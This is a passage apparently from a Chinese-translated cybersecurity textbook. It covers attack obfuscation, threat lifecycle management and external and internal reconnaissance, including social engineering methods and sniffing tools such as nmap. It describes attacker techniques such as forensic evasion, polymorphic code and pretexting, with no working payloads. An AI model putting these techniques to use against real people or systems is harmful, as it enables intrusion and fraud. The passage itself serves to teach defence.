恶意软件通过 USB 闪存驱动器传输到目标计算机,因为这些计算机未连接互联网。一旦它感染了其中一台目标计算机,恶意软件就会自我复制并传播到其他计算机。恶意软件继续进入下一个阶段,感染了西门子公司的一款名为 Step7 的软件,这款软件用于控制逻辑控制器的编程。软件一旦被攻破,恶意软件最终获得了对程序逻辑控制器的访问权限。这使得攻击者能够直接操作核电厂中的各种机械设备。攻击者使得高速旋转的离心机失控,并自行撕裂。

Stuxnet 恶意软件展示了这一阶段可以达到的高度。伊朗的核设施根本无法保护自己,因为攻击者已经获得了访问权限,提升了特权,并避开了安全工具的监测。工厂操作员表示,他们的计算机出现了许多相同的错误,但所有病毒扫描显示他们没有感染病毒。显然,攻击者在受感染的设施中用阀门进行了一些蠕虫的测试运行,发现它有效后,决定扩大规模,攻击离心机,摧毁伊朗的核武器计划。

混淆

这是攻击的最后阶段,一些攻击者可能选择忽略这一阶段。此阶段的主要目的是为了让攻击者掩盖他们的痕迹,出于各种原因。如果攻击者不希望被识别,他们会使用多种技术来混淆、阻挠或转移随网络攻击而来的法医调查过程。然而,某些攻击者可能会选择不隐藏他们的痕迹,特别是如果他们是匿名操作,或者想炫耀他们的战果。

混淆有多种方式。攻击者防止对手追踪到他们的一个方法就是混淆攻击的来源。实现这一点有很多种方法。有时,黑客会攻击小企业中过时的服务器,然后横向移动攻击其他服务器或目标。因此,攻击的来源会被追踪到那些没有定期更新的小企业服务器。

最近在一所大学中也见到了这种混淆技术,黑客入侵了物联网灯光系统,并用它们攻击大学的服务器。当法医分析师开始调查这次针对服务器的 DDoS 攻击时,他们惊讶地发现攻击源自该大学的 5000 盏物联网灯光。

另一种起源混淆技术是使用公立学校服务器。黑客们多次使用这种技术,他们通过入侵公立学校的脆弱网络应用,横向渗透到学校的网络,向服务器安装后门和 rootkit 病毒。这些服务器随后被用来攻击更大的目标,因为法医调查会将攻击的来源追溯到公立学校。

最后,社交俱乐部也是黑客用来掩盖攻击来源的一种手段。社交俱乐部为会员提供免费 Wi-Fi,但这些 Wi-Fi 往往保护不严密。这为黑客提供了一个理想的环境,用于感染设备,然后在不被设备所有者察觉的情况下执行攻击。

另一种黑客常用的混淆技术是去除元数据。执法机关可以利用元数据追踪到某些犯罪的肇事者。

2012 年,一名名为 Ochoa 的黑客因入侵 FBI 数据库并泄露警察的个人信息而被起诉。

使用“wormer”这个名字进行黑客攻击的奥乔亚(Ochoa)在他忘记从一张他在黑客攻击 FBI 网站后上传的图片中去除元数据时被捕。元数据向 FBI 显示了照片拍摄地点的准确位置,最终导致了他的逮捕。黑客从这次事件中吸取了教训,认识到在黑客活动中留下任何元数据是不负责任的,因为这可能是他们的致命弱点,就像奥乔亚的情况一样。

黑客通常也会使用动态代码混淆来掩盖他们的踪迹。这涉及到生成不同的恶意代码来攻击目标,但能防止基于签名的杀毒软件和防火墙程序的检测。

这些代码片段可以通过使用随机化函数或更改某些函数参数来生成。因此,黑客使得任何基于签名的安全工具更难保护系统免受恶意代码的攻击。这也使得取证调查员很难识别攻击者,因为大部分黑客攻击都是通过随机代码进行的。

有时,黑客会使用动态代码生成器将无意义的代码添加到他们的原始代码中。这使得黑客攻击在调查员看来非常复杂,并且会减慢他们分析恶意代码的进度。几行代码可能被做成成千上万行无意义的代码。这可能会让取证调查员放弃深入分析代码,去识别一些独特的元素或寻找任何指向原始编码者的线索。

威胁生命周期管理

对威胁生命周期管理的投资可以使组织在攻击发生时立即进行防御。这对于任何公司来说都是值得的投资,因为统计数据显示,目前看到的网络数据泄露事件没有放缓。从 2014 年到 2016 年,网络攻击增加了 760%。网络犯罪的增加有三个原因。首先,有更多有动机的威胁行为者。对于某些人来说,网络犯罪已经成为一种低风险、高回报的生意。尽管数据泄露事件增加,但判决率极低,这表明极少有网络犯罪分子被抓获。

与此同时,组织正在因这些有动机的攻击者而损失数十亿美元。数据泄露事件增加的另一个原因是网络犯罪经济和供应链的成熟。如今,网络犯罪分子可以访问许多可供出售的漏洞和恶意软件,只要他们能支付相应的金额。网络犯罪已经成为一个有足够供应商和愿意购买者的产业。随着黑客行为主义和网络恐怖主义的兴起,买家数量不断增加。因此,这导致了数据泄露事件前所未有的增加。

最后,数据泄露事件的增加与组织攻击面扩大密切相关。新技术的采用带来了新的漏洞,从而扩大了网络犯罪分子可以攻击的攻击面。

物联网IoT),作为组织技术中最新的一个领域,已经导致多家公司被黑客攻击。如果组织不采取必要的预防措施来保护自己,未来将会暗淡无光。

他们现在可以进行的最佳投资是威胁生命周期管理,帮助他们根据所处的阶段做出适当的反应。2015 年,Verizon 的一项调查报告显示,在所有的攻击中,84%都在日志数据中留下了证据。这意味着,如果有适当的工具和思维方式,这些攻击本可以在早期得到缓解,从而避免任何损害。威胁生命周期管理共有六个阶段。

第一个阶段是取证数据收集。在全面威胁被检测到之前,IT 环境中会有一些可见的证据。威胁可以通过 IT 的七个领域中的任何一个进入。因此,组织能够看到的 IT 基础设施越多,就能检测到的威胁也就越多。

在这个阶段,有三项适用的内容。首先,组织应该收集安全事件和警报数据。如今,组织使用无数的安全工具帮助他们抓捕攻击者并防止攻击成功。这些工具中的一些只会发出警告,因此仅生成事件和警报。一些强大的工具可能不会对小规模的检测发出警报,但它们会生成安全事件。然而,每天可能会生成成千上万的事件,这样就会让组织在众多事件中迷失方向,不知道该关注哪些。这个阶段的另一个适用内容是收集日志和机器数据。这种数据能够提供更深层次的视角,帮助了解在组织网络中实际发生的事情,按用户或应用程序的基础进行分析。这个阶段最后一个适用的内容是收集取证传感器数据。取证传感器,如网络和端点取证传感器,提供更加深入的分析,当日志不可用时,它们也非常有用。

威胁生命周期管理的下一个阶段是发现阶段。这是在组织建立了可见性,并且能够足够早地检测到攻击之后的阶段。这个阶段可以通过两种方式来实现。

其中第一个是搜索分析。这是组织中的 IT 员工进行软件辅助分析的地方。他们能够查看报告并识别网络和防病毒安全工具中已知或报告的异常情况。这个过程需要大量人力,因此不应是整个组织仅仅依赖的分析方法。

达到这个阶段的第二种方式是通过使用机器分析。这是完全由机器/软件进行的分析。软件通常具有机器学习能力,因此也具备人工智能,使其能够自主扫描大量数据并向人们提供简洁和简化的结果,供进一步分析。预计到 2018 年初,超过四分之一的安全工具将具备机器学习能力。机器学习简化了威胁发现过程,因为它是自动化的,并且能不断自我学习新威胁。

接下来是资格认证阶段,检查前一阶段发现的威胁,评估它们的潜在影响、解决的紧迫性以及如何进行缓解。这个阶段是时间敏感的,因为一个已识别的攻击可能比预期的速度更快地发展。

更糟糕的是,这个过程并不简单,且消耗大量人工劳动力和时间。在这个阶段,误报是一个大挑战,必须及时识别,以防止组织将资源浪费在不存在的威胁上。低效的资格认证可能导致漏掉真正的威胁,且误报被纳入其中。因此,合法的威胁可能会被忽视,甚至没有得到处理。正如你所看到的,这个阶段是威胁管理过程中一个非常敏感的环节。

下一个阶段是调查阶段,在此阶段,将对被分类为真正威胁的安全事件进行彻底调查,以确定它们是否引发了安全事件。

这个阶段需要持续访问大量的取证数据和关于众多威胁的情报。它主要是自动化的,这简化了在数百万已知威胁中查找威胁的过程。这个阶段还会检查威胁在被安全工具识别之前,可能对组织造成的任何潜在损害。基于从这一阶段收集到的信息,组织的 IT 团队可以根据情况采取相应的行动应对威胁。

紧接着是中和阶段。在此阶段,采取缓解措施以消除或减少已识别威胁对组织的影响。组织会尽可能快速地进入这一阶段,因为涉及勒索软件或特权用户账户的威胁可能在短时间内造成不可逆的损害。

因此,每一秒钟都至关重要,在消除已识别的威胁时。这个过程也是自动化的,以确保威胁删除的高效性,并促进组织内多个部门之间的信息共享与协作。

最后的阶段是恢复,只有当一个组织确认其识别的威胁已被消除,并且所面临的风险已得到控制时,才会进入此阶段。该阶段的目标是将组织恢复到被攻击前的状态。恢复对时间要求较低,且高度依赖于再次提供的软件或服务的类型。然而,这一过程需要谨慎处理;攻击事件或应对过程中的更改需要被回溯。这两个过程可能会导致不希望的配置或行为,从而可能破坏系统或防止其继续遭受损害。确保系统恢复到被攻击前的确切状态至关重要。有一些自动恢复工具可以将系统自动恢复到备份状态。然而,必须进行充分的尽职调查,确保没有引入或留下后门。

参考文献

  1. M. Clayton, 关于最近对美国银行的网络攻击背后的人物线索,《基督教科学箴言报》,第 11 页,2012 年。[可用: search.proquest.com/docview/1081779990]。

  2. B. Harrison, E. Svetieva 和 A. Vishwanath, 钓鱼邮件的个体处理,《在线信息评论》,第 40 卷,(2),第 265-281 页,2016 年。[可用: search.proquest.com/docview/1776786039]。

  3. M. Andress, 网络漏洞评估管理:八种网络扫描工具提供加强的管理和修复功能,《网络世界》,第 21 卷,(45),第 48-48,50,52 页,2004 年。[可用: search.proquest.com/docview/215973410]。

  4. Nmap: 网络映射器 - 免费安全扫描器Nmap.org,2017 年。[在线]. 可用: nmap.org/. [访问时间: 2017 年 7 月 20 日]。

  5. Metasploit Unleashed,Offensive-security.com,2017 年。[在线]. 可用: www.offensive-security.com/metasploit-unleashed/msfvenom/. [访问时间: 2017 年 7 月 21 日]。

  6. 免费下载 John the Ripper 密码破解工具 |,黑客工具,2017 年。[在线]. 可用: www.hackingtools.in/free-download-john-the-ripper-password-cracker/. [访问时间: 2017 年 7 月 21 日]。

  7. R. Upadhyay, THC-Hydra Windows 安装指南 使用 Cygwin,*《像专家一样黑客攻击》,2017 年。[在线]. 可用: hackinglikeapro.blogspot.co.ke/2014/12/thc-hydra-windows-install-guide-using.html. [访问时间: 2017 年 7 月 21 日]。

  8. S. Wilbanks 和 S. Wilbanks, WireShark, 数字化战争, 2017. [在线]. 可用: digitalizedwarfare.com/2015/09/27/keep-calm-and-use-wireshark/. [访问日期: 2017 年 7 月 21 日]。

  9. 数据包收集与 WEP 加密,攻击与防御无线网络 - 第四部分, Ferruh.mavituna.com, 2017. [在线]. 可用: ferruh.mavituna.com/paket-toplama-ve-wep-sifresini-kirma-kablosuz-aglara-saldiri-defans-4-oku/. [访问日期: 2017 年 7 月 21 日]。

  10. 像专业人士一样黑客攻击:如何使用 Nikto 查找任何网站的漏洞, WonderHowTo, 2017. [在线]. 可用: null-byte.wonderhowto.com/how-to/hack-like-pro-find-vulnerabilities-for-any-website-using-nikto-0151729/. [访问日期: 2017 年 7 月 21 日]。

  11. Kismet, Tools.kali.org, 2017. [在线]. 可用: tools.kali.org/wireless-attacks/kismet. [访问日期: 2017 年 7 月 21 日]。

  12. A. Iswara, 如何嗅探他人的密码?(使用 Cain & Abel 进行黑客攻击 - ARP 投毒方法), Hxr99.blogspot.com, 2017. [在线]. 可用: hxr99.blogspot.com/2011/08/how-to-sniff-peoples-password-hacking.html. [访问日期: 2017 年 7 月 21 日]。

  13. A. Gouglidis, I. Mavridis, 和 V. C. Hu, 云系统中多域的安全策略验证, 国际信息安全期刊, 第 13 卷, (第 2 期), 第 97-111 页, 2014. 可用: search.proquest.com/docview/1509582424 DOI: dx.doi.org/10.1007/s10207-013-0205-x

  14. R. Oliver, 在 WannaCry 攻击后,预计网络保险市场将增长, FT.Com, 2017. 可用: search.proquest.com/docview/1910380348

  15. N. Lomas. (2016 年 8 月 19 日). 全部 Ashley Madison 被黑数据显然已被发布到 Tor 网络上. 可用: search.proquest.com/docview/1705297436

  16. D. FitzGerald, 黑客利用雅虎自己的软件进行数据泄露;‘伪造的 Cookie’允许在不输入密码的情况下访问账户, 华尔街日报(在线版), 2016. 可用: search.proquest.com/docview/1848979099

  17. R. Sinha, 被破解!超过 3200 万个 Twitter 密码被黑客攻击, 《经济时报》(在线版), 2016. 可用: search.proquest.com/docview/1795569034

  18. T. Bradshaw, 苹果内部系统被黑客攻击, FT.Com, 2013. 可用: search.proquest.com/docview/1289037317

  19. M. Clayton, Stuxnet 恶意软件是“武器”,旨在摧毁伊朗布什尔核电站?,《基督教科学箴言报》,2010 年。可获得:search.proquest.com/docview/751940033

  20. D. Palmer, 物联网黑客如何将大学网络反过来攻击自己,ZDNet,2017 年。[在线]。可获得:www.zdnet.com/article/how-iot-hackers-turned-a-universitys-network-against-itself/。[访问时间:2017 年 7 月 4 日]。

  21. S. Zhang, 一名已退休黑客的生活,他现在被禁止使用互联网,Gizmodo.com,2017 年。[在线]。可获得:gizmodo.com/the-life-of-an-ex-hacker-who-is-now-banned-from-using-t-1700074684。[访问时间:2017 年 7 月 4 日]。

  22. 打破了!FBI 通过 Anonymous 黑客发布女友裸照追踪到他,《每日邮报》,2017 年。[在线]。可获得:www.dailymail.co.uk/news/article-2129257/Higinio-O-Ochoa-III-FBI-led-Anonymous-hacker-girlfriend-posts-picture-breasts-online.html。[访问时间:2017 年 11 月 28 日]。

摘要

本章概述了常见的网络攻击阶段,揭示了攻击者的思维方式。它展示了攻击者如何通过简单的方法和先进的入侵工具获取目标的详细信息,并利用这些信息进行攻击。它讨论了攻击者在攻击系统时升级权限的两种主要方式。它解释了网络攻击者如何从他们可以访问的系统中窃取数据。它还探讨了攻击者如何继续攻击受害者的硬件以造成更多损害的场景。接着,本章讨论了攻击者保持匿名的方式。最后,本章强调了用户如何打断威胁生命周期并挫败攻击。

下一章将深入探讨侦察,全面了解攻击者如何通过社交媒体、被攻陷的网站、电子邮件和扫描工具收集关于用户和系统的信息。

第四章:侦察

前一章为你概述了网络攻击生命周期的所有阶段。本章将深入探讨生命周期中的第一阶段——侦察。侦察是威胁生命周期中最重要的阶段之一,攻击者在此阶段寻找可以用来攻击目标的漏洞。攻击者会关注定位和收集数据,识别目标网络、用户或计算系统中的任何漏洞。侦察可以是被动的,也可以是主动的,借鉴了军事中的战术。它可以比作派遣间谍进入敌方领土,收集有关何时何地攻击的数据。当侦察正确进行时,目标不应能察觉到侦察的存在。这个关键的攻击生命周期阶段可以通过多种方式实现,广义上分为外部侦察和内部侦察。

本章将讨论以下主题:

  • 外部侦察:

    • 垃圾桶潜水

    • 利用社交媒体获取目标信息

    • 社会工程

  • 执行内部侦察的工具

外部侦察

外部侦察是在组织的网络和系统之外进行的,通常是通过利用组织用户的疏忽进行的。有多种方式可以做到这一点。

垃圾桶潜水

组织以多种方式处置废弃设备,比如通过竞标、送交回收商或丢弃存储。这样的处置方式存在严重的风险。谷歌就是一家在设备处置方面非常彻底的公司,它会销毁数据中心的旧硬盘,以防止恶意人员访问其中存储的数据。这些硬盘会被送入破碎机,钢活塞会压入硬盘中心,使其变得不可读。这个过程持续进行,直到机器将硬盘粉碎成小块,然后将这些碎片送到回收中心。这是一个严格且防错的过程。其他一些公司则无法做到这一点,因此选择使用军用级的删除软件来清除旧硬盘中的数据。这确保了在处置旧硬盘时,数据无法被恢复。

然而,大多数组织在处理旧的外部存储设备或过时的计算机时并不彻底。有些甚至懒得删除其中的资料。由于这些过时的设备有时会以不小心的方式被丢弃,攻击者可以轻松地从这些丢弃点获取设备。这些过时的存储设备可能会向攻击者提供大量关于组织内部设置的信息。它们还可能让攻击者访问浏览器上公开存储的密码,找出不同用户的权限和细节,甚至可能让他们访问网络中某些定制的系统。

社交媒体

社交媒体为黑客打开了另一个狩猎场。如今,了解一个人信息的最简单方法就是浏览他们的社交媒体账号。黑客发现社交媒体是获取有关特定目标数据的最佳途径,因为人们往往在这些平台上分享信息。尤其重要的是与用户所在公司相关的数据。其他可以从社交媒体账户中获取的关键信息包括家庭成员、亲戚、朋友的详细信息,以及住址和联系方式。此外,攻击者还学会了利用社交媒体执行更加恶劣的预攻击。

最近一起涉及俄罗斯黑客和五角大楼官员的事件显示了黑客技术的高超。据信,五角大楼官员点击了一个机器人账号发布的关于度假套餐的帖子。因为五角大楼官员曾接受过网络安全专家的培训,学会避免点击或打开通过邮件发送的附件。该官员点击了一个链接,据信此链接让他的电脑遭到入侵。网络安全专家将此事件定性为定向钓鱼攻击;然而,这次攻击并没有通过电子邮件进行,而是通过社交媒体帖子。黑客正在寻找这种无法预测且有时不易察觉的预攻击方式。据说,攻击者通过这次攻击成功获取了该官员大量敏感信息。

黑客利用社交媒体用户的另一种方式是通过查看他们的账号帖子,获取可以用于密码或作为重置某些账户的秘密问题答案的信息。这些信息包括用户的出生日期、母亲的娘家姓、他们成长的街道名字、宠物名字、学校名字以及其他类型的随机信息。用户因懒惰或对所面临的威胁缺乏了解而倾向于使用弱密码。因此,一些用户可能会将出生日期作为工作邮箱的密码。工作邮箱很容易猜测,因为它们使用的是个人的正式名字,并且以组织的域名结尾。黑客通过社交媒体账户获得的官方姓名,以及可能的密码,能够计划如何进入网络并进行攻击。

社交媒体中另一个潜在的危险是身份盗窃。令人惊讶的是,创建一个冒充他人身份的假账户非常简单。所需要的只是获取一些照片和最新的身份盗窃受害者的详细信息。这一切都在黑客的操作手册中。他们跟踪关于组织用户及其上司的信息。然后,他们可以创建使用上司名字和详细信息的账户。这将使他们能够通过社交媒体等手段,获得好处或发布命令给毫无察觉的用户。一个自信的黑客甚至可以利用高层员工的身份,从 IT 部门请求网络信息和统计数据。黑客将继续获取关于网络安全的信息,这将帮助他们在不久的将来找到成功入侵网络的方法。

社会工程学

这是最令人恐惧的侦察行为之一,因为目标的性质。一家公司可以通过安全工具抵御许多类型的攻击,但无法完全保护自己免受这种类型的威胁。社会工程学已经被完美地发展出来,利用了人性——这是安全工具无法保护的。黑客知道,存在非常强大和有效的工具来防止他们从组织网络中获取任何类型的信息。扫描和伪造工具很容易被入侵检测设备和防火墙识别出来。因此,凭借通常的威胁,很难击败当今的安全水平,因为它们的特征已被知晓,可以轻易地防止。而另一方面,人类因素仍然容易受到通过操控的攻击。人类具有同情心、信任朋友、喜欢炫耀、服从上级;只要能说服他们转变思维方式,他们就容易被说服。

社会工程师使用六个杠杆让受害者开口。其中一个是互惠,受害者为某个社交媒体用户做某事,后者则感到有必要回报这个恩惠。回报他人是人类的天性,攻击者已经认识到并利用了这一点。另一个杠杆是稀缺性,社会工程师通过威胁某个目标所需的东西即将短缺,迫使目标做出配合。这可能是一场旅行、一场大型促销活动或新产品的发布。为了拉动这个杠杆,社会工程师会花费大量精力了解目标的喜好。下一个杠杆是一致性,人类通常会遵守承诺或习惯于常规的事件流程。当一个组织总是从某个供应商订购并接收 IT 消耗品时,攻击者非常容易伪造供应商并交付感染恶意软件的电子产品。

另一个杠杆是喜好,人们更容易接受他们喜欢的人或那些看起来有吸引力的人提出的要求。社会工程师擅长让自己听起来和看起来有吸引力,从而轻松赢得目标的配合。一个常用的杠杆是权威,通常情况下,人们会服从那些地位高于他们的人的权威;因此,他们很容易为这些人弯曲规则,甚至满足他们的要求,即使这些要求看起来恶意。许多用户会在一个高阶 IT 员工要求时提供他们的登录凭证。此外,如果他们的经理或主管要求他们通过不安全的渠道发送一些敏感数据,很多用户也不会多想。使用这个杠杆很容易,许多人会轻易成为受害者。最后一个杠杆是社会验证:人们会很容易地服从并做出某些事情,如果其他人也在做同样的事情,因为他们不想显得与众不同。黑客只需要让某件事看起来很正常,然后请求一个毫不怀疑的用户做同样的事情。

所有社会工程的杠杆都可以用于不同类型的社会工程攻击。以下是一些常见的社会工程攻击类型。

预设情境

这是一种通过间接施加压力来迫使目标泄露信息或执行异常行为的方法。它涉及构建一个精心策划的谎言,经过充分研究,使其对目标看起来合法。这种技术曾成功地让会计师将大量资金汇给虚构的老板,后者发出支付命令,将款项转入某个账户。因此,黑客利用这种技术窃取用户的登录凭证,或者访问一些敏感文件非常容易。借口(Pretexting)可以作为更大规模社会工程攻击的中介,利用合法信息构造另一个谎言。使用借口的社会工程师擅长伪装成社会中其他值得信赖的人,如警察、催债员、税务官员、神职人员或调查员。

转移盗窃

这是一种骗局,攻击者说服配送和运输公司将其交货和服务转交到其他地方。攻击者通过获得某个公司的货物可以获得一些好处——他们可以伪装成合法的送货员,并交付已被篡改的产品。他们可能在交付的产品中安装了根套件或一些监控硬件,这些硬件将不会被发现。

网络钓鱼

这是黑客多年来使用的最古老的伎俩之一,但它的成功率仍然令人惊讶地高。网络钓鱼主要是一种以欺诈方式获取有关公司或个人的敏感信息的技术。正常执行此攻击的方法是黑客向目标发送电子邮件,冒充一个合法的第三方组织,要求提供信息以供验证。攻击者通常会附加严重后果,要求没有提供请求的信息的目标承担责任。同时,会附上一个链接,指向恶意或欺诈网站,用户被建议使用该链接访问某个合法网站。攻击者会制作一个复制网站,网站包含标志和常见内容,并且有一个表单让用户填写敏感信息。目的是捕获目标的详细信息,从而使攻击者能够实施更大的犯罪。目标信息包括登录凭证、社会保障号码和银行信息。攻击者仍在使用这种技术从某个公司用户那里捕获敏感信息,以便在未来的攻击中利用这些信息访问其网络和系统。

一些可怕的攻击通过网络钓鱼实施。不久前,黑客发送伪装成某法院发出的钓鱼邮件,要求收件人在特定日期前往法院。邮件中附有一个链接,收件人可以查看更多法院通知的细节。然而,点击链接后,收件人在计算机上安装了恶意软件,这些恶意软件被用于其他恶意目的,如键盘记录和收集浏览器中存储的登录凭证。

另一个著名的网络钓鱼攻击是 IRS 退款诈骗。网络攻击者利用四月这一时期,当时许多人焦急地等待着 IRS 可能退还的税款,并发送伪装成 IRS 的邮件,通过 Word 文件附带勒索病毒。当收件人打开 Word 文档时,勒索病毒会加密用户硬盘中的文件以及任何连接的外部存储设备。

一种更为复杂的网络钓鱼攻击通过一家著名的招聘网站 CareerBuilder 针对多个目标进行。在这种攻击中,黑客伪装成正常的求职者,但不是附上简历,而是上传恶意文件。CareerBuilder 将这些简历转发给多个正在招聘的公司。这是一次经典的攻击,恶意软件被传播到了许多组织。也有多个警察部门成为勒索病毒的受害者。在新罕布什尔州,一名警察点击了一封看似合法的邮件,导致他使用的计算机感染了勒索病毒。这种情况发生在全球许多警察部门,显示了网络钓鱼攻击仍然拥有强大的威胁力。

下图展示了一个发送给 Yahoo 用户的网络钓鱼邮件示例:

电话网络钓鱼(vishing)

这是一种独特的网络钓鱼方式,攻击者使用电话而不是电子邮件。这是一种高级网络钓鱼攻击,攻击者使用一个不合法的互动语音应答系统,这个系统听起来与银行、服务提供商等使用的系统一模一样。这种攻击通常作为电子邮件钓鱼攻击的延伸,迫使目标泄露机密信息。通常会提供一个免费的电话热线,当拨打该电话时,目标会被引导到恶意的互动语音应答系统。系统会要求目标提供一些验证信息。为了确保多个 PIN 码被披露,系统通常会拒绝目标输入的内容。这对于攻击者来说已经足够,可以继续进行盗取目标的资金,无论是个人还是组织。在极端情况下,目标会被转接给一个假冒的客服代表,帮助解决登录失败的问题。假冒的客服代表会继续向目标提问,从而获取更多敏感信息。

以下图示展示了黑客通过网络钓鱼获取用户登录凭据的场景:

标靶钓鱼

这也是一种正常的网络钓鱼攻击,但它不会像普通钓鱼那样随机发送大量邮件。标靶钓鱼是专门针对组织中特定最终用户的,目的是获取其信息。标靶钓鱼更加复杂,因为它要求攻击者对目标进行大量背景调查,以便确定一个可以追踪的受害者。攻击者会精心编写一封邮件,涉及目标感兴趣的事项,迫使其打开邮件。从统计数据来看,普通的钓鱼攻击成功率为 3%,而标靶钓鱼成功率高达 70%。还有人说,只有 5%的人会点击钓鱼邮件中的链接或下载附件,而几乎一半打开标靶钓鱼邮件的人会点击链接并下载附件。

一个典型的目标网络钓鱼攻击例子是攻击者针对人力资源部门的一名员工。这些员工在寻找新人才时必须与外界保持密切联系。网络钓鱼者可能会制作一封电子邮件,指控该部门存在腐败或裙带关系问题,并提供一个链接,指向一个网站,上面展示了一些不满的—且虚构的—潜在员工的抱怨。人力资源员工通常对与 IT 相关的问题了解不深,因此可能会轻易点击这样的链接,从而导致感染。通过一次感染,恶意软件可以轻易地在组织内部传播,最终进入几乎每个组织都有的人力资源服务器。

水洞攻击

这是利用用户对他们常访问的网站的信任度进行的社交工程攻击,比如互动聊天论坛和交换板块。访问这些网站的用户更可能表现得异常粗心。即便是最小心的人,避免点击电子邮件中的链接,也不会犹豫点击这些网站上提供的链接。这些网站被称为“水坑”网站,因为黑客就像捕食者等待在水坑旁抓住猎物一样,将他们的受害者困在这些网站上。在这里,黑客会利用网站上的任何漏洞进行攻击,接管它们,然后注入代码,使访客感染恶意软件或将点击引导至恶意页面。由于采用这种方法的攻击者在策划时通常会根据目标的具体需求定制攻击,因此这些攻击通常会针对特定的目标以及他们使用的设备、操作系统或应用程序。它通常用来攻击一些技术知识丰富的人,例如系统管理员。水坑攻击的一个例子是利用 StackOverflow.com 等网站的漏洞,IT 人员经常访问该网站。如果该网站被黑客入侵,黑客可能会将恶意软件注入到访问该网站的 IT 工作人员的计算机中。

诱饵攻击

这种攻击利用了某些目标的贪婪或好奇心。它是最简单的社交工程技术之一,因为它仅涉及外部存储设备(1)。攻击者会将一个感染了恶意软件的外部存储设备放在其他人容易发现的地方。它可能被放在组织的洗手间、电梯中、接待处、路面上,甚至是停车场里。组织中的贪婪或好奇的用户会捡起这个物品,并匆忙将其插入他们的机器中。攻击者通常很狡猾,会在 U 盘中放置一些让受害人有冲动打开的文件。例如,一个标记为“薪资和即将到来的晋升的执行摘要”的文件,很可能会吸引许多人注意。

如果这种方法不起作用,攻击者可能会复制企业 U 盘的设计,然后将几个 U 盘散布在组织中,供其中一些员工捡起。最终,这些 U 盘会被插入计算机,文件也会被打开。攻击者会在 U 盘中植入恶意软件,感染插入 U 盘的计算机。配置为在插入设备时自动运行的计算机更容易受到攻击,因为不需要用户操作即可启动恶意软件感染过程。

在更严重的情况下,攻击者可能会在 U 盘中安装 rootkit 病毒,当计算机启动时,感染的次级存储介质被连接到计算机时,它会感染计算机。这将使攻击者获得更高的访问权限,并能够在不被察觉的情况下移动。诱饵攻击具有较高的成功率,因为人类天生容易贪婪或好奇,会打开并阅读那些超出自己访问权限的文件。这就是攻击者通常会将存储介质或文件标记为“机密”或“高层”的原因,因为内部员工总是对这些内容感兴趣。

交换条件

这是一种常见的社会工程攻击,通常由低级别的攻击者实施。这些攻击者没有任何高级工具,也不进行目标研究。攻击者会不停地拨打随机号码,自称是技术支持人员,并提供帮助。偶尔,他们会找到一些有实际技术问题的人,并“帮助”他们解决这些问题。攻击者会指导他们完成必要的步骤,从而获得访问受害者计算机的权限,或能够发起恶意软件攻击。这是一种繁琐的方法,成功率非常低。

跟踪攻击

这是一种最不常见的社会工程攻击,技术水平也不如我们之前讨论的攻击方法。然而,它确实具有相当高的成功率。攻击者利用这种方法进入限制区域或建筑物的特定部分。大多数组织的场所都具备电子访问控制,用户通常需要生物识别或 RFID 卡才能进入。攻击者会在拥有合法访问权限的员工身后行走,借此进入。在某些时候,攻击者可能会请求员工借用他们的 RFID 卡,或者可能会使用伪造的卡片,以解决可访问性问题为借口进入。

内部侦察

与外部侦察攻击不同,内部侦察是在现场进行的。这意味着攻击是在一个组织的网络、系统和场所内进行的。通常,这一过程会借助软件工具。攻击者与目标系统进行互动,以便找出其漏洞。这是内部侦察与外部侦察技术的主要区别。

外部侦察是通过不与系统互动,而是通过寻找进入点与在组织内部工作的人员进行接触来完成的。这就是为什么大多数外部侦察尝试都涉及黑客通过社交媒体、电子邮件和电话联系用户。内部侦察仍然是一种被动攻击,因为其目的是收集信息,未来可以用于进行更加严重的攻击。

内部侦察的主要目标是一个组织的内部网络,黑客在这里肯定能找到数据服务器和他们可以感染的主机的 IP 地址。已知网络中的数据可以被同一网络中的任何人读取,只要他们具备合适的工具和技能。攻击者使用网络来发现并分析未来攻击的潜在目标。内部侦察用于确定防止黑客攻击的安全机制。虽然有许多网络安全工具已被开发出来,以减轻用于执行侦察攻击的软件的威胁,但大多数组织从未安装足够的安全工具,黑客总能找到方法突破已有的安全工具。黑客已经测试过许多工具,并发现这些工具在研究目标网络时效果显著。大多数这类工具可以归类为嗅探工具。

嗅探与扫描

这些是网络术语,通常指的是在网络中窃听流量的行为。它们使得攻击者和防御者都能精确了解网络中发生的事情。嗅探工具旨在捕获在网络上传输的数据包并对其进行分析,分析结果以人类可读的格式呈现。为了进行内部侦察,数据包分析至关重要。它为攻击者提供了大量关于网络的信息,甚至可以与查看网络的逻辑布局图纸相比。

一些嗅探工具甚至能够揭示机密信息,例如来自 WEP 保护的 Wi-Fi 网络的密码。其他工具允许用户设置,捕获有线和无线网络上的长期流量,之后用户可以在方便的时候进行分析。如今有许多嗅探工具是黑客常用的。

Prismdump

仅为 Linux 设计,该工具允许黑客使用基于 Prism2 芯片组的卡进行嗅探。该技术仅用于捕获数据包,因此将分析任务交给其他工具来完成;这也是它将捕获的数据包以pcap格式导出的原因,而pcap是其他嗅探工具广泛使用的数据包捕获格式。大多数开源嗅探工具都使用pcap作为标准的数据包捕获格式。由于该工具仅专注于数据捕获,它可靠且适用于长期侦察任务。下图是prismdump工具的截图:

tcpdump

这是一个开源嗅探工具,用于数据包捕获和分析。tcpdump使用命令行界面运行。tcpdump还专门为数据包捕获设计,因为它没有图形用户界面(GUI)来分析和显示数据。它是一个拥有最强大数据包过滤能力的工具,甚至可以选择性地捕获数据包。这使得它与大多数其他在捕获期间无法过滤数据包的嗅探工具有所不同。以下是tcpdump工具的截图。在截图中,它正在监听发送到其主机的ping命令:

NMap

这是一个常用于绘制网络图的开源网络嗅探工具。该工具记录进出网络的 IP 数据包。它还绘制出网络的详细信息,例如连接到网络的设备以及任何打开或关闭的端口。该工具甚至能够识别连接到网络的设备的操作系统,以及防火墙的配置。它使用简单的文本界面,但也有一个名为 Zenmap 的高级版本,提供图形用户界面(GUI)。以下是 nmap 界面的截图。执行的命令是:

#nmap 192.168.12.3 

执行此命令以扫描 IP 地址192.168.12.3上计算机的端口:

Wireshark

